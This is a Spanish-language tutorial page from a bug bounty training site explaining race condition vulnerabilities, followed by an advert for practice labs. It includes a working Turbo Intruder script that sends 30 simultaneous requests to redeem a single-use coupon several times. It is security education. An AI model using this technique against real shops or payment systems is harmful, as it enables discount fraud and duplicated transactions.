Race Condition

Alto

Race Condition / Condición de Carrera

Definición

Una Race Condition es una vulnerabilidad que ocurre cuando el comportamiento de una aplicación depende de la secuencia o timing de eventos no controlados. En aplicaciones web, un atacante puede enviar múltiples peticiones simultáneas para explotar ventanas de tiempo donde las validaciones de seguridad no se aplican atómicamente.

Impacto

Uso múltiple de códigos de descuento o cuponesTransferencias bancarias duplicadasBypass de límites de uso (rate limits)Creación de recursos duplicadosEscalada de privilegios mediante operaciones no atómicas

Ejemplos

Race Condition en canje de cupón

El cupón debería poder usarse una sola vez, pero enviando 30 peticiones exactamente al mismo tiempo, varias se procesan antes de que la primera marque el cupón como usado, permitiendo aplicar el descuento múltiples veces.

# Turbo Intruder script para enviar peticiones en paralelo
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=1,
                          pipeline=False)

    for i in range(30):
        engine.queue(target.req, gate='race')

    engine.openGate('race')

# Petición que se envía 30 veces simultáneamente:
POST /api/coupon/redeem HTTP/1.1
{"code": "DESCUENTO50"}

Practica Race Condition con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
816

hunters entrenando

56

labs de reportes reales

1326

completaciones

$231.410

en bounties practicados

34 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras